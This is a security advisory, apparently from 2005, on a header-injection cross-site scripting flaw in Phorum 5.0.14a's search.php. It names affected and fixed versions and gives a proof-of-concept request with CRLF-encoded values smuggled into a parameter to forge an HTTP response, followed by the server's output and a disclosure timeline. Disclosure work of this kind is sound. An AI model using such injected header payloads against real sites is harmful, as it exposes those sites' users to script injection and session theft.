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Phorum Location Header Cross Site Scripting
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SUMMARY
" <http://www.phorum.org> Phorum is a web based message board written in
PHP. Phorum is designed with high-availability and visitor ease of use in
mind. Features such as mailing list integration, easy customization and
simple installation make Phorum a powerful add-in to any website."
Input passed to the "Location" parameter is not properly sanitized. This
can be exploited to inject malicious characters into HTTP headers and
allows execution of arbitrary HTML and script code in a user's browser
session in context of an affected site.
DETAILS
Vulnerable Systems:
* Phorum version 5.0.14a
Immune Systems:
* Phorum version 5.0.15a
Request:
http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0a
Content-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0a
Content-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a
<html>XSS</html>%0d%0a &author=1&subject=1&match_forum=ALL
&match_type=ALL&match_dates=30
Result:
HTTP/1.1 302 Found
Date: Tue, 01 Mar 2005 12:33:53 GMT
Server: Apache/1.3.31 (Unix) PHP/4.3.10
X-Powered-By: PHP/4.3.10
Location:
http://[server]/phorum5/search.php?0,search=1,page=1,match_type=ALL,
match_dates=30,match_forum=ALL,body=
Content-Length: 0
HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 34
<html>XSS</html>
,author=1,subject=1
Connection: close
Content-Type: text/html
<...>
Disclosure Timeline:
* 10.03.05 - Reported to vendor
* 22.03.05 - Public release
ADDITIONAL INFORMATION
The information has been provided by <mailto:anisimov@ptsecurity.com>
Alexander Anisimov.
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